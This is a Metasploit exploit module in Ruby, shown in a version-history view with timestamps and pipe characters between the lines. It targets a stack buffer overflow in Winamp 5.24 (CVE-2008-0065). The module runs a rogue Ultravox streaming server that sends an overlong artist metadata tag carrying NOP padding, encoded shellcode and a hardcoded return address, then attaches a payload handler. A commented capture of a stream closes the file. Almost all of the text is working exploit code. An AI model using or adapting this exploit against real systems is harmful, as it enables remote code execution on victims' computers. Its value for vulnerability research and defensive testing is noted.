2008-03-01 17:20:24 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-03-01 17:20:24 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-03-01 17:20:24 +00:00
|
|
|
##
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2008-03-01 17:20:24 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2008-03-01 17:20:24 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Winamp 5.24. By
|
2008-03-01 17:20:24 +00:00
|
|
|
sending an overly long artist tag, a remote attacker may
|
|
|
|
be able to execute arbitrary code. This vulnerability can be
|
|
|
|
exploited from the browser or the winamp client itself.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2008-03-01 17:20:24 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2008-0065' ],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'OSVDB', '41707' ],
|
|
|
|
[ 'BID', '27344' ],
|
2008-03-01 17:20:24 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 700,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jan 18 2008',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2008-03-01 17:20:24 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
|
|
|
|
res = client.get_once
|
|
|
|
|
|
|
|
content = "\x00\x01\x00\x01\x00\x01" + "<metadata><song><artist>"
|
|
|
|
content << make_nops(3828 - payload.encoded.length) + payload.encoded
|
|
|
|
content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
|
|
|
|
content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
|
|
|
|
content << "</artist></song></metadata>"
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "\x5a\x00\x39\x01" + [content.length].pack('n')
|
2008-03-01 17:20:24 +00:00
|
|
|
sploit << content + "\x00"
|
|
|
|
|
|
|
|
# randomize some stuff.
|
|
|
|
num = rand(65535).to_s
|
|
|
|
|
|
|
|
header = "HTTP/1.0 200 OK\r\n"
|
|
|
|
header << "Server: Ultravox 3.0\r\n"
|
|
|
|
header << "Content-Type: misc/ultravox\r\n"
|
|
|
|
header << "Ultravox-SID: #{num}\r\n"
|
|
|
|
header << "Ultravox-Avg-Bitrate: #{num}\r\n"
|
|
|
|
header << "Ultravox-Max-Bitrate: #{num}\r\n"
|
|
|
|
header << "Ultravox-Max-Msg: #{num}\r\n"
|
|
|
|
header << "Ultravox-Stream-Info: Ultravox;Live Stream\r\n"
|
|
|
|
header << "Ultravox-Msg-Que: #{num}\r\n"
|
|
|
|
header << "Ultravox-Max-Fragments: 1\r\n\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
header << sploit
|
2008-03-01 17:20:24 +00:00
|
|
|
|
2012-04-18 21:01:10 +00:00
|
|
|
print_status("Sending #{header.length} bytes")
|
2008-03-01 17:20:24 +00:00
|
|
|
|
|
|
|
client.put(header)
|
|
|
|
handler(client)
|
|
|
|
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2008-10-02 05:23:59 +00:00
|
|
|
|
2008-03-01 17:20:24 +00:00
|
|
|
|
|
|
|
=begin
|
|
|
|
HTTP/1.0 200
|
|
|
|
.Server: Ultravo
|
|
|
|
x 3.0..Content-T
|
|
|
|
ype: misc/ultrav
|
2010-04-30 08:40:19 +00:00
|
|
|
ox..Ultravox-SID
|
2008-03-01 17:20:24 +00:00
|
|
|
: 22221..Ultravo
|
|
|
|
x-Avg-Bitrate: 6
|
2010-04-30 08:40:19 +00:00
|
|
|
4000..Ultravox-M
|
2008-03-01 17:20:24 +00:00
|
|
|
ax-Bitrate: 9600
|
2010-04-30 08:40:19 +00:00
|
|
|
0..Ultravox-Max-
|
2008-03-01 17:20:24 +00:00
|
|
|
Msg: 16000..Ultr
|
2010-04-30 08:40:19 +00:00
|
|
|
avox-Stream-Info
|
2008-03-01 17:20:24 +00:00
|
|
|
: Ultravox;Live
|
2010-04-30 08:40:19 +00:00
|
|
|
Stream..Ultravox
|
2008-03-01 17:20:24 +00:00
|
|
|
-Msg-Que: 39..Ul
|
2010-04-30 08:40:19 +00:00
|
|
|
travox-Max-Fragm
|
|
|
|
|
|
|
|
Z.9..,......<met
|
|
|
|
adata><length>0<
|
|
|
|
/length><soon>Mo
|
2008-03-01 17:20:24 +00:00
|
|
|
re on
|
2010-04-30 08:40:19 +00:00
|
|
|
</soon><song><na
|
2008-03-01 17:20:24 +00:00
|
|
|
me>The Night
|
|
|
|
ghts In
|
2010-04-30 08:40:19 +00:00
|
|
|
tin</name><album
|
2008-03-01 17:20:24 +00:00
|
|
|
>Days Of
|
2010-04-30 08:40:19 +00:00
|
|
|
Passed</album><a
|
2008-03-01 17:20:24 +00:00
|
|
|
rtist>The Moody
|
2010-04-30 08:40:19 +00:00
|
|
|
Blues</artist><a
|
|
|
|
lbum_art>xm/stat
|
|
|
|
ion_logo_WBCRHT.
|
|
|
|
jpg</album_art><
|
|
|
|
album_art_200>xm
|
|
|
|
/station_logo_WB
|
|
|
|
CRHT_200.jpg</al
|
|
|
|
bum_art_200><ser
|
|
|
|
ial>-1</serial><
|
|
|
|
song_id>-1</song
|
|
|
|
_id><amg_song_id
|
|
|
|
>-1</amg_song_id
|
|
|
|
><amg_artist_id>
|
|
|
|
-1</amg_artist_i
|
|
|
|
d><amg_album_id>
|
|
|
|
-1</amg_album_id
|
|
|
|
><itunes_song_id
|
|
|
|
>-1</itunes_song
|
|
|
|
_id><itunes_arti
|
|
|
|
st_id>-1</itunes
|
|
|
|
_artist_id><itun
|
|
|
|
es_album_id>-1</
|
|
|
|
itunes_album_id>
|
|
|
|
</song></metadat
|
|
|
|
a>.Z.......\./!.
|
|
|
|
!.UP.......B...&
|
|
|
|
Z....D)ydB.,.vy/
|
2009-10-12 14:39:51 +00:00
|
|
|
=end
|